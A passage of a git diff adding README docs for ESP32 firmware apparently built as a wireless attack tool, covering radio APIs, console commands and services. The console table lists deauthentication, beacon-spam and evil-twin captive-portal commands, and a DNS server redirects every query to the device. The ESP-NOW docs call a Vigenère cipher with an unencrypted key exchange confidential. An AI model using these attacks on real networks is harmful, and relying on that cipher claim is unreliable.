(SPI3_HOST, 4 MHz), performs a hardware reset, verifies chip presence via version register, and sets the default frequency to **433.92 MHz**. + +### Frequency & Calibration + +#### `cc1101_set_frequency` +```c +void cc1101_set_frequency(uint32_t freq_hz); +``` +Sets the carrier frequency in Hz. Calculates FREQ2/FREQ1/FREQ0 registers from a 26 MHz crystal reference and triggers automatic calibration. + +#### `cc1101_calibrate` +```c +void cc1101_calibrate(void); +``` +Performs frequency synthesizer calibration with band-specific FSCTRL0, TEST0, and FSCAL2 adjustments. + +### Preset Management + +#### `cc1101_set_preset` +```c +void cc1101_set_preset(cc1101_preset_t preset, uint32_t freq_hz); +``` +Configures the radio with a predefined modulation/bandwidth combination. Internally calls `cc1101_enable_async_mode` (OOK presets) or `cc1101_enable_fsk_mode` (FSK presets) and then applies preset-specific tuning. + +#### `cc1101_get_active_preset_id` +```c +uint8_t cc1101_get_active_preset_id(void); +``` +Returns the ID of the currently active preset. + +### Operating Modes + +#### `cc1101_enable_async_mode` +```c +void cc1101_enable_async_mode(uint32_t freq_hz); +``` +Configures the CC1101 for **ASK/OOK async serial output** on GDO0 (for RMT-based sniffing). Sets infinite packet length, max sensitivity AGC, 812 kHz RX bandwidth, and enters RX. + +#### `cc1101_enable_fsk_mode` +```c +void cc1101_enable_fsk_mode(uint32_t freq_hz); +``` +Configures the CC1101 for **2-FSK async serial output** on GDO0. Same async architecture as OOK mode but with FSK modulation. + +#### `cc1101_enter_rx_mode` / `cc1101_enter_tx_mode` +```c +void cc1101_enter_rx_mode(void); +void cc1101_enter_tx_mode(void); +``` +Transitions the radio to RX or TX state (via IDLE first). + +### Data Transmission + +#### `cc1101_send_data` +```c +void cc1101_send_data(const uint8_t *data, size_t len); +``` +Sends a packet (max 61 bytes) via the TX FIFO. Flushes the FIFO, writes length + payload, strobes TX, and blocks until transmission completes (polls MARCSTATE). + +### Modem Tuning + +#### `cc1101_set_rx_bandwidth` +```c +void cc1101_set_rx_bandwidth(float khz); +``` +Sets the RX filter bandwidth in kHz by calculating the MDMCFG4 register fields. + +#### `cc1101_set_data_rate` +```c +void cc1101_set_data_rate(float baud); +``` +Sets the data rate in kBaud (range: ~0.025 - 1621.83). Writes MDMCFG4 (exponent) and MDMCFG3 (mantissa). + +#### `cc1101_set_deviation` +```c +void cc1101_set_deviation(float dev); +``` +Sets frequency deviation in kHz (range: 1.59 - 380.86) for FSK modulation. + +#### `cc1101_set_modulation` +```c +void cc1101_set_modulation(uint8_t modulation); +``` +Sets the modulation format: `0` = 2-FSK, `1` = GFSK, `2` = ASK/OOK, `3` = 4-FSK, `4` = MSK. Automatically adjusts FREND0 and reapplies PA settings. + +#### `cc1101_set_pa` +```c +void cc1101_set_pa(int dbm); +``` +Sets the output power in dBm. Automatically selects the correct PA table for the current frequency band. Handles ASK/OOK PATABLE indexing (index 0 = 0x00, index 1 = power). + +#### `cc1101_set_channel` +```c +void cc1101_set_channel(uint8_t channel); +``` +Sets the channel number (CHANNR register). + +#### `cc1101_set_chsp` +```c +void cc1101_set_chsp(float khz); +``` +Sets channel spacing in kHz (range: 25.39 - 405.46). + +#### `cc1101_set_sync_mode` +```c +void cc1101_set_sync_mode(uint8_t mode); +``` +Configures sync word detection mode (0-7). See CC1101 datasheet for mode descriptions. + +#### `cc1101_set_fec` +```c +void cc1101_set_fec(bool enable); +``` +Enables or disables Forward Error Correction. + +#### `cc1101_set_preamble` +```c +void cc1101_set_preamble(uint8_t preamble_bytes); +``` +Sets the number of preamble bytes (2-24, mapped to register encoding). + +#### `cc1101_set_dc_filter_off` / `cc1101_set_manchester` +```c +void cc1101_set_dc_filter_off(bool disable); +void cc1101_set_manchester(bool enable); +``` +Toggles DC blocking filter and Manchester encoding respectively. + +### Utilities + +#### `cc1101_convert_rssi` +```c +float cc1101_convert_rssi(uint8_t rssi_raw); +``` +Converts a raw RSSI register value to dBm. + +### Low-Level SPI Access + +```c +void cc1101_strobe(uint8_t cmd); +void cc1101_write_reg(uint8_t reg, uint8_t val); +uint8_t cc1101_read_reg(uint8_t reg); +void cc1101_write_burst(uint8_t reg, const uint8_t *buf, uint8_t len); +void cc1101_read_burst(uint8_t reg, uint8_t *buf, uint8_t len); +``` +Direct SPI register access: single read/write, burst read/write, and strobe commands. diff --git a/docs/console/README.md b/docs/console/README.md new file mode 100644 index 000000000..25203d31b --- /dev/null +++ b/docs/console/README.md @@ -0,0 +1,103 @@ +# Console Service Component + +The Console Service provides an interactive command-line interface (CLI) for the TentacleOS Highboy. It allows users to manage files, configure system settings, and execute Wi-Fi attacks directly via USB Serial or UART. + +It is built on top of the ESP-IDF `esp_console` component and uses `linenoise` for line editing and `argtable3` for argument parsing. + +## Accessing the Console + +Connect the Highboy to a computer via USB. Use a serial terminal program (e.g., Putty, Screen, minicom) with the following settings: +- **Baud Rate:** 115200 (default) +- **Data Bits:** 8 +- **Parity:** None +- **Stop Bits:** 1 + +The prompt `highboy>` indicates the system is ready. + +## Available Commands + +### System Commands + +| Command | Description | Usage | +| :--- | :--- | :--- | +| `help` | Lists all available commands. | `help [command]` | +| `free` | Displays available internal and PSRAM memory. | `free` | +| `tasks` | Lists running FreeRTOS tasks and stack usage. | `tasks` | +| `restart` | Reboots the system. | `restart` | +| `ip` | Shows current network interfaces (IP, Mask, GW, MAC). | `ip` | + +### File System Commands + +| Command | Description | Usage | +| :--- | :--- | :--- | +| `ls` | Lists directory contents. | `ls [-j] [path]`
`-j`: Output as JSON | +| `cd` | Changes current working directory. | `cd ` | +| `pwd` | Prints current working directory. | `pwd` | +| `cat` | Prints file content to console. | `cat ` | + +### Wi-Fi Commands (`wifi`) + +The `wifi` command is a wrapper for all wireless functions. + +| Subcommand | Description | Arguments | Example | +| :--- | :--- | :--- | :--- | +| `scan` | Scans for Wi-Fi networks. | None | `wifi scan` | +| `connect` | Connects to an Access Point. | `-s `: Target SSID
`-p `: Password (optional) | `wifi connect -s "MyWifi" -p "1234"` | +| `ap` | Configures the Highboy Hotspot. | `-s `: New SSID
`-p `: New Password | `wifi ap -s "FreeWiFi"` | +| `config` | Advanced Wi-Fi settings. | `-e <0/1>`: Enable/Disable
`-i `: Set Static IP
`-m `: Max clients | `wifi config -e 1 -m 8` | +| `spam` | Starts Beacon Spam attack. | `-r`: Random SSIDs
`-l`: Use `beacon_list.json`
`-s`: Stop attack | `wifi spam -r` | +| `deauth` | Starts Deauthentication attack. | `-t `: Target BSSID
`-c `: Channel
`-s`: Stop attack | `wifi deauth -t AA:BB:CC... -c 6` | +| `sniff` | Starts Packet Sniffer. | `-t `: beacon, probe, pwn, raw
`-c `: Channel (0=Hop)
`-f `: Save to SD
`-v`: Verbose (print)
`-s`: Stop | `wifi sniff -t beacon -v` | +| `probe` | Monitors Probe Requests. | `start` / `-s` (Stop) | `wifi probe start` | +| `clients` | Scans connected clients (sniffer). | `start` / `-s` (Stop) | `wifi clients start` | +| `target` | Monitors specific target activity. | `-t `: Target MAC
`-c `: Channel
`-s`: Stop | `wifi target -t AA:BB... -c 6` | +| `evil` | Starts Evil Twin (Captive Portal). | `-s `: Fake AP Name
`-s`: Stop (use --stop flag) | `wifi evil -s "Google Free"` | +| `portscan`| Scans TCP/UDP ports on target. | `-i `: Target IP
`-min`: Start Port
`-max`: End Port | `wifi portscan -i 192.168.1.1` | +| `status` | Shows active attacks and state. | None | `wifi status` | + +## Developing New Commands + +To add a new command to the console, follow these steps: + +1. **Create a source file:** Create `commands/cmd_mycommand.c`. +2. **Define Arguments:** Use `argtable3` structs to define parameters. +3. **Implement Handler:** Create a static function `int cmd_mycommand(int argc, char **argv)`. +4. **Register:** Create a public registration function and call `esp_console_cmd_register`. +5. **Hook:** Call your registration function in `console_service.c`. + +### Example Template + +```c +#include "console_service.h" +#include "esp_console.h" +#include "argtable3/argtable3.h" + +static struct { + struct arg_str *message; + struct arg_end *end; +} echo_args; + +static int cmd_echo(int argc, char **argv) { + int nerrors = arg_parse(argc, argv, (void **)&echo_args); + if (nerrors != 0) { + arg_print_errors(stderr, echo_args.end, "echo"); + return 1; + } + printf("Echo: %s\n", echo_args.message->sval[0]); + return 0; +} + +void register_echo_command(void) { + echo_args.message = arg_str1(NULL, NULL, "", "Message to print"); + echo_args.end = arg_end(1); + + const esp_console_cmd_t echo_cmd = { + .command = "echo", + .help = "Print a message", + .func = &cmd_echo, + .argtable = &echo_args + }; + ESP_ERROR_CHECK(esp_console_cmd_register(&echo_cmd)); +} +``` + diff --git a/docs/dns_server/README.md b/docs/dns_server/README.md new file mode 100644 index 000000000..6ef23bc1f --- /dev/null +++ b/docs/dns_server/README.md @@ -0,0 +1,53 @@ +# DNS Server Service Component + +This component implements a lightweight DNS server optimized for "Evil Twin" and Captive Portal applications. It intercepts all DNS queries and responds authoritatively with the device's own IP address, effectively redirecting all traffic to the local web server. + +## Overview + +- **Location:** `components/Service/dns_server/` +- **Main Header:** `include/dns_server.h` +- **Socket Type:** UDP Port 53 +- **Response Strategy:** Authoritative (AA=1), Recursive (RA=0), No Error. +- **Dependencies:** `lwip/sockets`, `esp_netif` + +## Key Features + +- **Dynamic IP Resolution:** Automatically detects the current Access Point IP address using `esp_netif_get_ip_info`, ensuring correct redirection even if the network configuration changes. +- **Robust Parsing:** Implements a safe DNS name parser (`parse_dns_name`) to validate queries and prevent buffer overflows. +- **Evil Twin Optimization:** Uses specific DNS flags (`0x8500`) to mark responses as "Authoritative". This forces client devices (especially modern Android/iOS) to accept the redirection faster, improving Captive Portal detection. +- **IPv4 Focus:** Optimized for stability and simplicity, handling standard A-record queries. +- **Task Management:** Runs in a dedicated FreeRTOS task with an increased stack size (4096 bytes) to handle high loads and logging without overflow. + +## API Reference + +### `start_dns_server` +```c +void start_dns_server(void); +``` +Starts the DNS server task. +- Creates a UDP socket bound to port 53. +- Listens for incoming queries. +- Spawns the `dns_server` task with 4KB stack. + +### `stop_dns_server` +```c +void stop_dns_server(void); +``` +Stops the DNS server and frees resources. +- Deletes the FreeRTOS task. +- Closes the UDP socket (handled within the task loop upon deletion). + +## Internal Implementation Details + +### Packet Handling +1. **Validation:** Incoming packets are checked for minimum size (header length) and valid query flags. +2. **Parsing:** The domain name is extracted using `parse_dns_name` for logging and validation purposes. +3. **Response Construction:** + - Copies the transaction ID from the request. + - Sets Flags to `0x8500` (Response + Authoritative). + - Appends the original Question section. + - Appends an Answer section pointing to the AP's IP address (TTL 60s). + +### Configuration +- **Stack Size:** 4096 bytes (Safe for logging and network operations). +- **Socket Timeout:** 1 second (allows graceful shutdown checks). diff --git a/docs/esp_now/README.md b/docs/esp_now/README.md new file mode 100644 index 000000000..bd800ba66 --- /dev/null +++ b/docs/esp_now/README.md @@ -0,0 +1,102 @@ +# ESP-NOW Service + +The **ESP-NOW Service** is the low-level communication backbone for the Highboy project. It abstracts the ESP-IDF `esp_now` driver, providing a robust, connectionless messaging layer with auto-discovery, persistent peer management, and software-based security. + +## Features + +- **Connectionless Communication**: Uses ESP-NOW (WiFi Vendor Specific Elements) to send small packets instantly without WiFi association. +- **Auto-Discovery**: "Hello" broadcast packets allow devices to find each other. +- **Auto-Pairing (The "Cat Jump" Logic)**: Automatically registers any device from which a packet is received, allowing immediate reply without manual pairing. +- **Smart Peer Management**: + - **Volatile (Session)**: Stores discovered peers in PSRAM (or RAM) to show who is currently online. + - **Permanent**: Saves trusted peers to `addresses.conf` (JSON). +- **Software Security**: + - Implements a Vigenère Cipher for message payloads to bypass ESP-NOW hardware limits (6-20 peers) while keeping packets ASCII-compatible. + - **Secure Handshake**: Special `KEY_SHARE` packet type to exchange keys automatically. +- **Configuration Persistence**: Saves Nickname, Online Status, and Encryption Keys to `chat.conf`. + +## Architecture + +### Packet Structure +The service uses a packed struct to ensure consistent data alignment over the air. + +| Field | Type | Size | Description | +|-------|------|------|-------------| +| `type` | `uint8_t` | 1 byte | Packet intent (see below). | +| `nick` | `char[]` | 16 bytes | Sender's nickname. | +| `text` | `char[]` | 201 bytes | Message content or Key payload. | + +### Message Types +1. **`HELLO` (0x01)**: Broadcast packet. Sent to `FF:FF:FF:FF:FF:FF`. Used for discovery. +2. **`MSG` (0x02)**: Direct message (Unicast). Encrypted if a key is set. +3. **`KEY_SHARE` (0x03)**: Handshake packet. Sent unencrypted containing the generated session key in the `text` field. + +### File System Integration +The service relies on the **Assets Partition** for configuration: + +1. **`/assets/config/chat/chat.conf`**: + ```json + { + "nick": "Highboy_User", + "online": true, + "key": "SecretKey123" + } + ``` +2. **`/assets/config/chat/addresses.conf`**: + ```json + [ + { "mac": "AA:BB:CC:DD:EE:FF", "name": "Friend_Device" } + ] + ``` + +## API Reference + +### Initialization +```c +esp_err_t service_esp_now_init(void); +void service_esp_now_deinit(void); +``` +Initializes ESP-NOW, registers callbacks, loads configuration, and allocates memory for the session list. + +### Configuration +```c +esp_err_t service_esp_now_set_nick(const char *nick); +const char* service_esp_now_get_nick(void); +esp_err_t service_esp_now_set_online(bool online); // Toggle TX/RX +bool service_esp_now_is_online(void); +esp_err_t service_esp_now_set_key(const char *key); // Sets encryption key +``` + +### Messaging +```c +// Send HELLO to Broadcast (Discovery) +esp_err_t service_esp_now_broadcast_hello(void); + +// Send Text Message (Auto-encrypts if key is set) +esp_err_t service_esp_now_send_msg(const uint8_t *target_mac, const char *text); + +// Initiate Secure Handshake (Generates key if missing, sends KEY_SHARE) +esp_err_t service_esp_now_secure_pair(const uint8_t *target_mac); +``` + +### Peer Management +```c +// Get list of currently visible devices (from RAM/PSRAM) +int service_esp_now_get_session_peers(service_esp_now_peer_info_t *out_peers, int max_peers); + +// Save a peer permanently to addresses.conf +esp_err_t service_esp_now_save_peer_to_conf(const uint8_t *mac_addr, const char *name); +``` + +### Callbacks +```c +typedef void (*service_esp_now_recv_cb_t)(const uint8_t *mac_addr, const service_esp_now_packet_t *data, int8_t rssi); +typedef void (*service_esp_now_send_cb_t)(const uint8_t *mac_addr, esp_now_send_status_t status); + +void service_esp_now_register_recv_cb(service_esp_now_recv_cb_t cb); +void service_esp_now_register_send_cb(service_esp_now_send_cb_t cb); +``` + +## Security Note regarding `peer.encrypt` +We explicitly set `peer.encrypt = false` in the hardware driver. +**Reason**: ESP32 hardware encryption limits the peer list drastically (approx. 10 devices). By implementing software encryption (Vigenère) on the payload, we allow **unlimited peers** while maintaining confidentiality and enabling instant "fire-and-forget" messaging without complex hardware handshake requirements. diff --git a/docs/espnow_chat/README.md b/docs/espnow_chat/README.md new file mode 100644 index 000000000..2af69383e --- /dev/null +++ b/docs/espnow_chat/README.md @@ -0,0 +1,98 @@ +# ESP-NOW Chat Application + +The **ESP-NOW Chat Application** is the high-level logic layer that bridges the raw `Service` capabilities with the User Interface (UI). It handles business logic, event notification, and data formatting for the display. + +## Overview + +This component sits between the **UI Manager** (LVGL) and the **ESP-NOW Service**. It ensures that the UI doesn't need to know about raw bytes, MAC addresses, or packet types, providing a clean API for "sending messages" and "listing users". + +## Features + +- **Event-Driven UI Updates**: Provides a callback mechanism so the UI only updates when necessary (new message, new device found). +- **System Notifications**: automatically injects system messages (e.g., "Secure Pair with User!") into the chat stream. +- **Simplified API**: Wraps complex service calls into single-line functions for the UI. +- **Data Abstraction**: Converts service-level structs into UI-friendly structs. + +## Integration Guide + +### 1. Initialization +In your `main.c` or `ui_manager.c`: + +```c +#include "espnow_chat.h" + +void app_main() { + // ... WiFi Init ... + + // Initialize the Chat App + espnow_chat_init(); + + // Register UI Callbacks + espnow_chat_register_msg_cb(my_ui_message_handler); + espnow_chat_register_refresh_cb(my_ui_device_list_refresh); +} +``` + +### 2. Handling Messages in UI +The UI should implement a callback to receive messages: + +```c +void my_ui_message_handler(const char *sender_nick, const char *message, bool is_system_msg) { + if (is_system_msg) { + // Render in yellow/red + ui_chat_add_bubble_system(message); + } else { + // Render in bubble + ui_chat_add_bubble(sender_nick, message); + } +} +``` + +### 3. Listing Devices +When the user opens the "Scan" tab, the UI calls: + +```c +espnow_chat_peer_t peers[10]; +int count = espnow_chat_get_peer_list(peers, 10); + +for(int i=0; i UI calls `espnow_chat_broadcast_discovery()`. + - Service sends HELLO. + - Other devices receive HELLO -> Service auto-adds to list -> App triggers `refresh_cb` -> UI updates list. + +2. **Chatting**: + - User taps a device -> UI enters Chat Screen. + - User types "Hi" -> UI calls `espnow_chat_send_message()`. + - Service encrypts & sends. + +3. **Secure Pairing**: + - User taps "Secure Pair" -> UI calls `espnow_chat_secure_pair()`. + - Service generates Key (if none) -> Sends `KEY_SHARE` packet. + - Target receives `KEY_SHARE` -> App triggers `msg_cb` ("Secure Pair with X!") -> Service saves key. + - Future messages are now secure. + diff --git a/docs/host_link/c5.md b/docs/host_link/c5.md new file mode 100644 index 000000000..4a1666a9f --- /dev/null +++ b/docs/host_link/c5.md @@ -0,0 +1,53 @@ +# Host Link — C5 (BLE relay + log tee) + +The companion app's **BLE transport terminates on the ESP32-C5** (it owns the BLE +radio). The C5 is a **transparent byte relay**: it ferries opaque host-link frames +to/from the P4 over the SPI bridge and forwards its own logs up. **All +crypto/auth lives on the P4** — the C5 never parses companion payloads. + +Mirrors the proven Meshtastic/MeshCore phone-bridge pattern. + +- Unified cross-firmware overview: [`docs/host-link.md`](../host-link.md) +- Wire format: [`docs/HOST_LINK_PROTOCOL.md`](../HOST_LINK_PROTOCOL.md) + +This README is the **C5 component reference** (BLE relay + log tee). + +## Files + +| File | Role | +|------|------| +| `host_link_gatt.c` | NimBLE GATT server (NUS-style): a **write** char (app→device) and a **notify** char (device→app). "Just works" LE Secure Connections (no MITM). Splits notifications by ATT MTU; the app reassembles by frame `LEN`. | +| `host_transport.c` | Chunk/reassembly between BLE and SPI. BLE write → `SPI_ID_HOST_RX` stream (C5→P4). `SPI_ID_HOST_TX` chunks (P4→C5) → reassemble → BLE notify. Reuses `spi_mesh_chunk_hdr_t`. | +| `c5_log.c` | C5 log tee (`esp_log_set_vprintf`): keeps the local dev console, ANSI strip + level, drop-oldest ring, worker → `SPI_ID_SYSTEM_LOG` stream (C5→P4) as `[level u8][utf-8 text]`. | + +## SPI ops (category `SPI_CAT_HOST = 0x06`, in `spi_protocol.h`) + +| Op | Id | Direction | Purpose | +|----|----|-----------|---------| +| `SPI_ID_HOST_BLE_INIT` | `0x06A0` | P4→C5 cmd | start GATT + advertise (`spi_host_init_t { name_prefix }`) | +| `SPI_ID_HOST_BLE_STOP` | `0x06A1` | P4→C5 cmd | stop GATT | +| `SPI_ID_HOST_TX` | `0x06A2` | P4→C5 cmd (push) | device→app bytes → BLE notify | +| `SPI_ID_HOST_RX` | `0x06A3` | C5→P4 stream | app→device bytes (BLE write) | +| `SPI_ID_HOST_STATUS` | `0x06A4` | P4→C5 cmd | poll `spi_host_status_t { ble_connected, ble_subscribed }` | + +`SPI_ID_SYSTEM_LOG` (`0x0007`, C5→P4 stream) carries the forwarded log lines. + +## Dispatch + +`SPI_CAT_HOST` is routed to `bt_dispatcher_execute` (alongside `SPI_CAT_BT` / +`SPI_CAT_MCORE`) in `spi_bridge.c`. The handlers call into `host_transport` / +`host_link_gatt`. + +## Boot wiring (`kernel.c`) + +`c5_log_init()` runs right after `spi_bridge_slave_init()` (it pushes to the SPI +stream). The GATT server is started on demand by the P4 (`SPI_ID_HOST_BLE_INIT`), +not at boot, so it doesn't hog NimBLE from the BLE attack features. + +## Caveats + +- **NimBLE is single-owner**: host-link BLE, MeshCore, and Meshtastic each refuse + to init while another holds NimBLE. +- The C5 log stream is always enabled on this side; the P4 drops the resulting + `LOG` frames when no companion session is active, and the **log-over-BLE** + toggle (P4) gates BLE delivery. Build-validated; **not yet hardware-tested**. diff --git a/docs/host_link/p4.md b/docs/host_link/p4.md new file mode 100644 index 000000000..ae1959f68 --- /dev/null +++ b/docs/host_link/p4.md @@ -0,0 +1,79 @@ +# Host Link — P4 (companion app link) + +Terminates the companion-app protocol on the **ESP32-P4**. The P4 is the single +brain: it owns the security envelope, dispatches commands (locally or relayed to +the C5 over the SPI bridge), and owns SD/flash storage and device state. The same +behavior is exposed over **two transports** — USB CDC-ACM (P4-native) and BLE +(terminated on the C5, relayed here). Only **one** companion session is active at +a time. + +- Unified cross-firmware overview: [`docs/host-link.md`](../host-link.md) +- Wire format (envelope, types, ids): [`docs/HOST_LINK_PROTOCOL.md`](../HOST_LINK_PROTOCOL.md) + +This README is the **P4 component reference** — the file map and P4-side wiring. +The frame envelope, BODY types and the `SPI_CMD(cat, op)` id scheme are defined in +the wire spec; the end-to-end (app↔P4↔C5) picture is in the unified overview. + +## Files + +| File | Role | +|------|------| +| `host_link.c` | Core: reassembly, frame encode/decode, dispatch, single-session arbitration, `emit_frame` (RESP/LOG/STREAM). | +| `host_link_cdc.c` | USB CDC-ACM transport (TinyUSB composite). Claims the session on DTR; drops bytes when no app is attached. | +| `host_link_ble.c` | BLE transport relay: chunks frames to the C5 (`SPI_ID_HOST_TX`), reassembles inbound (`SPI_ID_HOST_RX` stream), drives the C5 GATT on/off and connection status. | +| `host_link_sec.c` | Security: PSK in NVS (auto-generated), `HELLO`/`HELLO_ACK` handshake, HKDF per-direction keys, per-frame MAC verify/sign, counter replay rejection. mbedTLS. | +| `host_link_log.c` | P4 log tee (`esp_log_set_vprintf`): ANSI strip, level, drop-oldest ring, worker → `LOG` frames `source=P4`. | +| `host_link_c5log.c` | Consumes the `SPI_ID_SYSTEM_LOG` stream from the C5 → `LOG` frames `source=C5`. | +| `host_link_files.c` | P4-local `FILE_*` ops over `/assets`, `/littlefs`, `/sdcard` (POSIX VFS), path-sandboxed, chunked. | +| `host_link_state.c` | Device state (battery/versions), the two settings toggles (NVS), and raw console exec (captured stdout → console LOG frames). | +| `host_link_stream.c` | Streaming + heartbeat proxy: starts session ops via `spi_session`, pushes records as `STREAM` frames, app-liveness watchdog, link-loss teardown. | + +## Command routing (in `host_link.c`) + +After authentication, `process_frame` routes each `CMD` by id: + +1. `host_files_is_file_op` → local file ops (bypass the 256 B relay cap). +2. `host_state_is_local_op` → device state / settings / console exec. +3. `category == SPI_CAT_SESSION` → heartbeat/stop handled by the stream proxy + (**not** relayed; the P4 keeps heartbeating the C5 itself). +4. `host_stream_is_session_op` → start a session-based stream (sniffer). +5. otherwise → relayed to the C5 via `spi_bridge_send_command`. + +## Security model + +- Only `HELLO` is accepted before keys exist. Every other inbound frame must be + authenticated (valid MAC, fresh counter) or it is dropped + logged. +- Per-direction HKDF keys (`a2d`/`d2a`) prevent reflection; fresh nonces per + handshake prevent cross-session replay. +- The PSK is provisioned out-of-band: shown as a QR + hex on the P4 pairing + screen (Settings → PAIRING) and via the `hostlink psk` console command. +- BLE bonding is "just works" (LE Secure Connections, no MITM) on top of the PSK + envelope, which is the real trust boundary. + +## Toggles (NVS, default on) + +| Setting | Effect when off | +|---------|-----------------| +| `console_exec` | the app cannot run raw console lines (structured `CMD`s still work) | +| `log_over_ble` | background logs are not sent over BLE; **USB always carries logs**, and console-exec output is always delivered | + +## Boot wiring (`kernel.c`) + +``` +host_link_state_init(); // load toggles +host_link_stream_init(); // streaming proxy +host_link_init(); // core + PSK +host_link_cdc_init(); // USB transport +host_link_log_init(); // P4 log tee +host_link_c5log_init(); // C5 log relay +host_link_ble_init(); // BLE relay infra (advertising on demand: `hostlink ble on`) +``` + +## Status + +All phases implemented and build-validated. **Not yet hardware-tested** — the +dev board's native USB pads are unsoldered and BLE is unexercised. Known runtime +caveats: NimBLE is single-owner (host-link BLE / MeshCore / Meshtastic are +mutually exclusive); the UI sniffer and the companion sniffer share one +`spi_session` (mutually exclusive); large device→app frames split across BLE +notifications and are reassembled by the app via `LEN`. diff --git a/docs/http_server/README.md b/docs/http_server/README.md new file mode 100644 index 000000000..89e3a47ac --- /dev/null +++ b/docs/http_server/README.md @@ -0,0 +1,116 @@ +# HTTP Server Service Component Documentation + +This component provides an abstraction layer over ESP-IDF's native `esp_http_server`, facilitating initialization, request handling, response sending, and file system (SD Card) integration for the Highboy project. + +## Overview + +- **Location:** `components/Service/http_server/` +- **Main Header:** `include/http_server_service.h` +- **Implementation:** `http_server_service.c` + +The service manages the web server lifecycle (start/stop), route registration (URIs), and offers utilities for reading HTML files from storage and handling standard HTTP errors. + +## API Functions + +### Server Management + +#### `start_web_server` +```c +esp_err_t start_web_server(void); +``` +Starts the HTTP server with default configurations, enabling `lru_purge_enable` to manage old connections. + +#### `stop_http_server` +```c +esp_err_t stop_http_server(void); +``` +Stops the HTTP server if it is running and frees associated resources. + +#### `http_service_register_uri` +```c +esp_err_t http_service_register_uri(const httpd_uri_t *uri_handler); +``` +Registers a URI handler (route) on the active server. Returns an error if the server is not started. + +### Request and Response Handling + +#### `http_service_req_recv` +```c +esp_err_t http_service_req_recv(httpd_req_t *req, char *buffer, size_t buffer_size); +``` +Receives the content (body) of a request with safety checks for buffer size. +- Returns `ESP_ERR_INVALID_SIZE` if the content is larger than the buffer. +- Automatically handles timeouts. + +#### `http_service_query_key_value` +```c +esp_err_t http_service_query_key_value(const char *data_buffer, const char *key, char *out_val, size_t out_size); +``` +Extracts the value of a specific key from a query string (URL encoded). Handles cases where the key is not found or the value is truncated. + +#### `http_service_send_response` +```c +esp_err_t http_service_send_response(httpd_req_t *req, const char *buffer, ssize_t length); +``` +Sends a generic HTTP response. +- If `buffer` is `NULL`, it automatically sends a 500 error. + +#### `http_service_send_error` +```c +esp_err_t http_service_send_error(httpd_req_t *req, http_status_t status_code, const char *msg); +``` +Sends a standardized HTTP error response, mapping the internal `http_status_t` enum to ESP-IDF error codes (`httpd_err_code_t`). + +### Storage Integration (SD Card) + +#### `get_html_buffer` +```c +const char *get_html_buffer(const char *path); +``` +Reads an entire file from the specified path (usually from the SD Card) and returns a dynamically allocated buffer containing the data, null-terminated (`\0`). +- **Note:** The caller is responsible for freeing the returned memory (see Casting note below). + +#### `http_service_send_file_from_sd` +```c +esp_err_t http_service_send_file_from_sd(httpd_req_t *req, const char *filepath); +``` +Combines `get_html_buffer` and `http_service_send_response` to read a file and send it directly as a response to the request. Automatically frees the buffer memory after sending. + +--- + +## Castings and Implementation Details + +Below are listed all explicit "castings" (type conversions) performed in the source code `http_server_service.c`, which are fundamental for memory allocation and opaque type manipulation. + +### 1. File Buffer Allocation +**Location:** Function `get_html_buffer` +```c +char *buffer = (char *)malloc(file_size + 1); +``` +- **From:** `void *` (generic return from `malloc`) +- **To:** `char *` +- **Reason:** The pointer returned by `malloc` needs to be treated as a character string to store the file content and the null terminator. + +### 2. Constant Memory Deallocation +**Location:** Function `http_service_send_file_from_sd` +```c +free((void*)html_content); +``` +- **From:** `const char *` (type of `html_content` variable) +- **To:** `void *` +- **Reason:** The `get_html_buffer` function returns a `const char *` to semantically indicate that the receiver should not alter its content. However, to free this memory with `free()`, it is necessary to remove the `const` qualifier via a cast to `void *`; otherwise, the compiler would emit a warning or error, since `free` expects a pointer to mutable memory (even though it only frees it). + +--- + +## Auxiliary Data Structures + +### `http_status_t` +Enumeration defined in `http_server_service.h` to abstract HTTP status codes and facilitate internal mapping: +- `HTTP_STATUS_OK_200` +- `HTTP_STATUS_CREATED_201` +- `HTTP_STATUS_BAD_REQUEST_400` +- `HTTP_STATUS_UNAUTHORIZED_401` +- `HTTP_STATUS_FORBIDDEN_403` +- `HTTP_STATUS_NOT_FOUND_404` +- `HTTP_STATUS_REQUEST_TIMEOUT_408` +- `HTTP_STATUS_INTERNAL_ERROR_500` diff --git a/docs/lvgl_port/README.md b/docs/lvgl_port/README.md new file mode 100644 index 000000000..a46afdb48 --- /dev/null +++ b/docs/lvgl_port/README.md @@ -0,0 +1,83 @@ +# LVGL Port Component Documentation + +This component implements the **porting layer** required to run the **LVGL v9** graphics library on the Highboy hardware. It connects the generic LVGL engine with the specific drivers for the display (ST7789 via ESP-LCD) and input devices (GPIO Buttons). + +## Overview + +- **Location:** `components/Service/lvgl_port/` +- **Main Headers:** + - `include/lv_port_disp.h` (Display) + - `include/lv_port_indev.h` (Input Device) +- **Dependencies:** `lvgl`, `esp_lcd`, `st7789`, `buttons_gpio` + +The port is divided into two main parts: +1. **Display Port (`lv_port_disp`):** Handles rendering, buffers, and flushing pixels to the screen using DMA. +2. **Input Port (`lv_port_indev`):** Maps physical GPIO buttons to LVGL logical keys (Keypad) for UI navigation. + +--- + +## Display Port (`lv_port_disp`) + +This module configures the LVGL display driver to work with the ST7789 controller using the `esp_lcd` component. + +### Initialization + +#### `lv_port_disp_init` +```c +void lv_port_disp_init(void); +``` +Initializes the display interface for LVGL. +1. **Display Creation:** Creates an LVGL display object with resolutions defined by `LCD_H_RES` and `LCD_V_RES`. +2. **Callback Registration:** Sets `disp_flush` as the flush callback. +3. **Buffer Allocation:** Allocates two buffers (Double Buffering) in DMA-capable internal memory. + - **Buffer Size:** `1/5` of the screen height (configurable via `LVGL_BUF_PIXELS`). +4. **DMA Synchronization:** Registers an `on_color_trans_done` callback with `esp_lcd` to notify LVGL when the DMA transfer is complete (`lv_display_flush_ready`). + +### Internal Callbacks + +#### `disp_flush` +Called by LVGL when it wants to render a part of the screen. +- Swaps color bytes (RGB565 big-endian to little-endian) using `lv_draw_sw_rgb565_swap`. +- Calls `esp_lcd_panel_draw_bitmap` to send data to the display controller via SPI DMA. + +#### `notify_lvgl_flush_ready` +Called by the ESP-LCD driver (ISR context) when the DMA transfer finishes. It calls `lv_display_flush_ready()` to tell LVGL it can render the next frame. + +--- + +## Input Port (`lv_port_indev`) + +This module integrates the physical buttons of the Highboy device as a "Keypad" input device for LVGL, enabling navigation through groups and widgets. + +### Initialization + +#### `lv_port_indev_init` +```c +void lv_port_indev_init(void); +``` +Initializes the input subsystem. +1. **Device Creation:** Creates an `lv_indev_t` of type `LV_INDEV_TYPE_KEYPAD`. +2. **Callback Registration:** Sets `keypad_read` as the function to poll button states. +3. **Group Management:** + - Creates a 